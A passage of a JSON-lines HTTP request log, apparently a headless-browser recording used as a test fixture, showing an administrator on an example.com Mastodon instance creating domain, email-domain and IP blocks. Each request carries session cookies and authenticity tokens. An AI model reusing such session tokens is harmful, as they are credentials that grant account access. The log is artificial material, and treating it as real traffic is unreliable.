"Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MTEuOTc1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f8f48d6fc5c5849f392e9bc6b8d5da797ade9c9a; _mastodon_session=a7cCxC11AN4BN3rzwaCFxQ9elpBLvQ1wL8KOJXlq%2Bt0YsmVwCU%2BVgw9YOJXb1bFZ781IVd7yksZR4KwBs1hJjzqUf9C6r770Daywl8QWV9aOkG7VIx%2FEtuljehSJzBIzHwb10%2FQ7DCKmi9hCRl7V3XaLpq2TQ%2BpPxK%2B%2BU2AW8TOrTIFS7HeyiLRbagLRjNGSrHUWiTNq5SPoFsnTVL2yiuwCdg%2B6apAobvqqBWnq04omGviuF4jMYFWWjp1VLfzAqHJrmpZ2QwPSEwwNTQRqo%2B1j4yXMo3GZNMZNLMSy6H3dIAWK%2Bb1zIvljiYyYYjiIH9hWJSMjtvUf8znTGDCStgEoOwWi6%2BHhqta5KNa%2Ft5gML2VUDx2PL23wk7hvDy4XcC9hq4czhm%2Bc--%2F%2BQ5oY%2BEs7naFB0v--LSKMfS8I9QvQVOu3Z8apcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/react-intl-DlKP8ATg.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/reports?account_id=1&by_target_domain=remote.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MTQuOTIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d275051beb5595d22689d10cceb2e1c32fb0d5b5; _mastodon_session=jBpFFWl%2BctVtGmCoceKzST%2BHujKcGv4opwiO2LzH6YSKB7MyWIoEsbyECWKc2Vy5BreItYbaGKA5fP6dNZrULLLsO5ssYY4zPVGzD7Rs4HcASnDGYKLgWd03RKn4XIeUCwgVCAoO%2FxprmLkFUGpJ2%2FTmNrm3cxVWTVO9XHbod%2BKUXQ1tS4TcTx0n50dagkWtBCIo0tptXULjacCvOKzt%2FyzjcHYBKQf332IYI%2BgMAjyTRgeulRzJF26SQIIWGeFii48Krhipn7k5dYEVQePt%2BA8W92Lznvj%2FynO%2Bc5bsW%2FXuX0iZVvZG8yxGk5c%2B8jjvG9Bgryi9y4M7KNQO3nJ0hvGCKd5FTUxA%2F6XQWJEH5jGejrB7XZ54AcdSOTVIs%2BIPxgCHe98uXCH7--6QuaxzY36VH2CNN8--v%2ByIa%2FubfphSWiPYHaN3Pg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/export_domain_blocks/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MTQuOTIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d275051beb5595d22689d10cceb2e1c32fb0d5b5; _mastodon_session=jBpFFWl%2BctVtGmCoceKzST%2BHujKcGv4opwiO2LzH6YSKB7MyWIoEsbyECWKc2Vy5BreItYbaGKA5fP6dNZrULLLsO5ssYY4zPVGzD7Rs4HcASnDGYKLgWd03RKn4XIeUCwgVCAoO%2FxprmLkFUGpJ2%2FTmNrm3cxVWTVO9XHbod%2BKUXQ1tS4TcTx0n50dagkWtBCIo0tptXULjacCvOKzt%2FyzjcHYBKQf332IYI%2BgMAjyTRgeulRzJF26SQIIWGeFii48Krhipn7k5dYEVQePt%2BA8W92Lznvj%2FynO%2Bc5bsW%2FXuX0iZVvZG8yxGk5c%2B8jjvG9Bgryi9y4M7KNQO3nJ0hvGCKd5FTUxA%2F6XQWJEH5jGejrB7XZ54AcdSOTVIs%2BIPxgCHe98uXCH7--6QuaxzY36VH2CNN8--v%2ByIa%2FubfphSWiPYHaN3Pg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/disputes/appeals", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MTcuODcwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9fd1d5395984fbc93115a003dc2f5feb3bfdb6e8; _mastodon_session=KnoGYlZNUqNlDcPH29Nu4ZzssotIZUoyb39E8pIB6cKpPYgNko%2FqU7zOXyMNEzN8BjccwaSkegDMGiJaHLU9dv7RVRxCoXSbC%2FCoT2dh3rBe7okRwBV16YzvnoLeI5pVewIHF7nrIYiS8DL8yfksmRnNG6suqE0P6oLJ6DMAn6twrzXxfTI4h7X7DX%2BKX8MchiuvRz9zlRVGSkWa%2F61iZcy9z9xYJwUP4WOc%2B0opxM8NRp5vfpRo%2BUfHFUz0t7Rdyum54%2BCMn01FqOucM29pXAEDdcmlYWiyYE0r40IMuh9Y0VaRGNERjLRMnQQWsAMEaAw%2BMQEaAaD%2FBlYET5LoPjYsA09tl1ddyzgdndOIFPrxsAy6y4owbqiPNDAV1Pgvn3bJKwDR6Ctb--agW9qaXyj4v2qBpc--p4NTjZg51mj%2Fod%2BCzuS9hw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/domain_blocks/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MjAuNzg0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ed721bbbb2d9124fb2e0fc314dcc9be200d97feb; _mastodon_session=SYfZrl1eoDRqYsBX45RjN1sEc2KfJIc1AhA9b9avpS7E%2B3K%2BMdbYI6mXyjZAK3GYrhUVKUprAa0P0HNhMwTBAyQjMgXkpN8OtlwptTcr%2Fq%2BJF3r0N%2BFt10lE1P1F7%2F0x61F4ZKl%2FOY%2BSlFQTZmehAyDgAEjvZe%2BhR5XTozPlmPiNWFjjKk8N3nYEPJKhjH1S3d2AnZkMpJiySNqjUxqjHHaoKKCDoN8MdClBXVhzbqA9U0Si01JojkZ4dHgYnll8Q%2B70UYb39vtBE%2FjB6j1lMvv9wiEdldwAcJnnQdG7PeLcX%2BmiMPTgSUG8GtxFdrl5SsqeAcOiGmYYoCkVCCwAAFPGpLLN020G%2BSDGf9ZLHqqM%2FP%2FlAIGAUxnirpHOtELBACxJMaTWWQzm--9WhJFpREG%2FQVpqmW--tS5yQYdHw43sIfVGop0mvQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/domain_blocks", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 417", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/domain_blocks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MjMuNjUxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fd8b38c917501c2f290e8defb6ae94bca81cb8b5; _mastodon_session=9ecnXqXjQVlrdj%2F17pFj491EKuwe%2FNSjmcH0bjkejo3WHRPIMcUQDmGtj3QQuUxAZqD0ogSFiVx1rTNiA43IEJtBWO4BNBTEvlZkc71bbqdZwsbiQpaiNAliZMm0wzmjc1eJ9tp51OwcmtUlLegw30vc0jmasFzl4hLxLYb2tmVHuJFalA4aavaaFgdhEocyakQqNqcDgGC1YPRjgytp%2FxPgXIU3A9iWol0uKwzZTIIuxxIuJtnrB%2FkDeSJzms%2BYy3sGVpJF1%2FwXn0GKn3mCcl1yeX9LlKIcemz1bFoi34Kbb6gcy7CgHTGRWr3FoE%2BhnwxlFPpY2ds%2Fwcu5z3LQuOabikDBl7DAkel6wFu0PqAbeA6idP3boa3qbu8fst%2B6Bp3kKantb5C2--NCY5nKqIuqqWT54J--iBHWxM8QkgE4NDZ2KCa7jg%3D%3D"], "body": "authenticity_token=cYCUlPaS9BWRo4FpRghW7EC_AgXSfF2uaFaXk72Rr274f9x5R1_IFKRO6aru9k25bv4h6rw3a8fEc_xWxm2s_A&domain_block%5Bdomain%5D=spam.example&domain_block%5Bseverity%5D=silence&domain_block%5Breject_media%5D=0&domain_block%5Breject_reports%5D=0&domain_block%5Bobfuscate%5D=0&domain_block%5Bprivate_comment%5D=Spam+about+python3+and+ls+-la&domain_block%5Bpublic_comment%5D=Spam+about+powershell+and+.htaccess&button="}
|
||||||
|
{"method": "GET", "target": "/admin/instances?limited=1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/domain_blocks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MjYuNjcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--aab3f883940745643f9781a544c98174a3cc09b3; _mastodon_session=NOScc1SbwlMxCaWBQq4CP8k4N0KvCGYeZbpb33TSxPqwGV4Dk2Fn5nGruOxWN5l4q9yWwrbWNvwBBiwITZ66DRLQpbcA2zMCjF0MLzDlhzwsk7kZNA3eviDkcJtTsaj0vGbV979Dz71iXReSra%2BVAx99wWdI46H2D8QpIxBX9cbqVAcAuT8TBsgrOpoW7YpIK4G85rVuvi8xCN22tfB2l7IUjAXPN8z71c%2F4LmJQ1ql6ShOb%2FG0T%2FnLhlGWbsxDxx6ipbakFPZAfLCu62DgcQCUIsfLZUSM%2FJDMCPf0bf7x%2B85ID%2F0AcCYok8BhjVWE0kdamNmuaRiVQ83UVHgVqFTNF4UBMsbBr%2Bju5lYnRDm0tDWjz1a32PI2CT5NPPkW6O%2FT%2BNqghmKNq%2Fb7bnw9exybLzzmOVssgYiaVJI8i1njggL4tu17RoGthPbjKGrXtJ1zAPF%2FE9VCsBHrIbHSOFbOiTU%2BlC6gLm9MDlK5LnZTXGv8L75TNYBeQR%2Fk8a8BXoJSSHbJh5Tny710LTen5%2FmDAu%2BUe--UfFCrUkltKisjKVB--ji9Uj3VKyQOPyrjYpmqHBg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/email_domain_blocks/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MjYuNzMwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--1ebb4361e3fcafe449d2b63cf31de85dc82f77bd; _mastodon_session=XS%2FgM9qxAkibvuPqWv4K4SVCV8K47wxegwnawGadeU%2Bfsm05TcAo7H4ZLWAsxdGRfrpSymWu9j7l3OteUpoQHprgyVcSp61HEFOi%2FKf61cjEFmURP%2BlLnnn3SpfpwjA3%2FKdrltZXEAbV6aTLR7yhXYSrQu9TR5ubqrxiLo9cxtO3RpQm3gQdolJPwEwC0qEEywUoiElXOaTPr4Cp3qxzR4HLweFlEbO8a8%2FY3DxK4B8XuZ%2FipdBU3D47VA2UUhTmOzm5Cjigk58%2BpUzaX97pq9f%2FTI2VgP0uGyJ7aYqOCmHIj%2FoRPQyWmU%2BNN%2FJMLMOfgzhRjMTA4M1PaKiaPwBo55zEDI49AuRervdMI7rf5lNZ1SuIP8sVxwk%2BE2HOMC8o%2FQLR77YFpz5%2F--7kK17PUx6KZMcRRs--nbYtDwqjM7G%2FiwiAf6RX7g%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/email_domain_blocks", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 204", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/email_domain_blocks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MjcuMDg5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--452c3745a24ba12f10045cbf12ab79fd89a06560; _mastodon_session=ls5GnDYtF9%2BZHeBNv8QsoPUGN9vWygQK0Q4fEa%2BDUSu9FkGTaXXvMhHnl4ENLsNEUO4EcpDdZYiRR5MW35%2BlR4A%2BulqUu6Ahw2RdfumPEPwwab6jqNdy%2BrEKFLV4TYEo%2B0k2rYJcb%2BD75%2FcA9mcHddQCE9whMM8kQYV4npgpTp%2F6UI1JS8wMsklIaum7yGOcUpZCJAy5A0G09pibnGI0FeBfRvAfQH24jMfLVlZdGYqrVH1NauwlqlufSCPTJ4FDz37pth1cCTL%2Fxxbm7AqyxN442m27i7xaMTJOZsevj0Elsi0ixY0gSD5BELnwdmzMTpo3wtldapJduqwvWtrQKziyfK%2FgPPz9spr%2BaFS67K%2FVNZOGQYjEOv5Wf%2FpzdAnpeGPsgYZOv5v6--FxtdisUNfm8sOnNu--7dGXbVpWCblcuGNM3JFxMw%3D%3D"], "body": "authenticity_token=TPzeJA2bYJ2wVg6tXA0YPhOu6vzyixQfohyk9j0SBeMyWPq3kSaKceLiKk9BPpp78naE-IX1WgSZg7UixVitOA&email_domain_block%5Bdomain%5D=spam.example&email_domain_block%5Ballow_with_approval%5D=0&resolve="}
|
||||||
|
{"method": "GET", "target": "/admin/ip_blocks/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MjkuOTY5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--34510cc16ed1fe589a96dc7b1f0bed36f6f82a76; _mastodon_session=a1JgCoLt6TDQwFms7KOCztuWGyJfYtGyZ3GEiI9jUUbJpKJ9VR6CBvC%2BSq5vOGzPpbUfQQqEkZn3SwB6w2P0uf653IHRURd3CM9j8Bw%2FOZYFOITHUwL08l7MNmEAik%2FvHGEkiYIiJHlFe3I%2FyfCF3C2KQff9G9Xs6q7JWq4m9edJRPdb9ftKDmnoH%2F0H66BqLm08iLWEOGNDjzfHvZmanZiLiDdEx0pA3t%2FdqEcLfJeDJ2TZVHHqdLCMylRC0cxit3oHVh%2F3nD9xpwvB5XY3rmcfxg7rGJ8eyQCRopRllX4%2FGhXqHFwV6HnH2KswqDz8jOEjSwOJJnPdkpyrP%2BXe1LNaX8snKdNrrjecEySrv5JnaVViTDYmlRdu6EnJLMvrHl%2BINGzxVe35--EMkfhIEeM2hCxbQt--Y2qSfsw%2FYWwioKDrnTVmgA%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/ip_blocks", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 290", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/ip_blocks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MzAuMjk0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--29523232f18007b3cdf28bcea4668c757fd396d4; _mastodon_session=dGgRedzdPz0Hto6JkkvowWVDuyW5zgeXnkzzohLB7RnmtwsizKYyAWbZ%2FOcmB%2FBbp6Ikb70hx%2F8yCiMTKa%2BcWNRqFT9aoTvKSQfMBrzeQU02C3LUSPatyNXvrzK20jR3pRzuxrshFS11vkC%2BR2cK%2FMjoONArmegtr1A9smozW8IkQ03KLPWNJfyTAqe1fMMvL1I9D%2FUBrt93TMcgxGfvNBpvWk51ApMbSRNqaFfShcfIJmKDWtzOAlVfoh3zSLSEFege3%2BAdI6wCwFs%2FMBKwYi%2BZ5d4N64ECjDWfVDRcJj%2BykpDP%2BwbiQvaQvU14Y2YeGeXFQtRdpDZLVXTsyZg9wT5RmcN8vdydzA%2F%2F0EUz2TkbzptYn0rsIrOrtLR6t7Cw%2Fw1NGqArFR10--x3sO%2B2TG5kyKbpI%2F--YM8DeGzxglGELy6EzELFog%3D%3D"], "body": "authenticity_token=KROY_blrRl-NpBMidcSD23e3Dg9q2e0ZPC670MDcQZ0RNrGJxtGLxuSy5OiqXBsLZ1BfL6amLwNqt2XAt137DA&ip_block%5Bip%5D=192.0.2.0%2F24&ip_block%5Bexpires_in%5D=31556952&ip_block%5Bseverity%5D=&ip_block%5Bseverity%5D=no_access&ip_block%5Bcomment%5D=Signups+running+python3+scripts&button="}
|
||||||
|
{"method": "GET", "target": "/admin/ip_blocks", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/ip_blocks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MzMuMDA1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4633049dea115bde7f605f4306d25be255fd1cf0; _mastodon_session=pyKRZqtCEY4GekaM8LY1%2BIG0YoMXBEbMCg2pZHou%2BdfRzj%2Fj8bT7Cuitwiwff1hqoX89CDSceIY0B47TY3Yve3kUCzUYOTF94FP4oeYRm%2Fz6OzP2NmB%2Bo6GdK%2FjnDoQLXfP2MvFY3uEvdQ5oRP99k0Oc7aHLvrSXTSL%2FRfr5a19WtvkLEm65hwkbyuArQ4TkEGR3VASNH2LbnkJDb93NBEa4fJTuhd2SGZdYHXpriZGCEQOWpdgW7bp8YKTTLGZ048uq3V1vck%2FI1BP1Z8tlFZmsauxtx6E5umeQArF3lri5CPAZ8PdYTvq%2F1qvswH2t2EeuPQA%2FnKm%2BN430dPoqCPilESrOoodO5uFwQ353FCcMLJKuIrHGu%2FzCDebg1CrqYM1cSewfhkpk9EztYshhKltz6hYK8gN6BX5mxACkXXa0bIhHP9BWXD0LMSwA0YON9BNBjpeqnRwsZHreCw7pN11XkaSbqtOP55uK6giy0oWvtboH0xNQmyAa%2Bb53ZvKISWWQe5lsE9d8zswhrliRj2I%3D--L7t%2BZ0cGdWaB%2Bl7w--0RjkY%2BTSQunvzqpssYgwpQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/rules", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MzMuMDQwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--0a95f23a97cba1deb056bf2e11240de2e5db68c0; 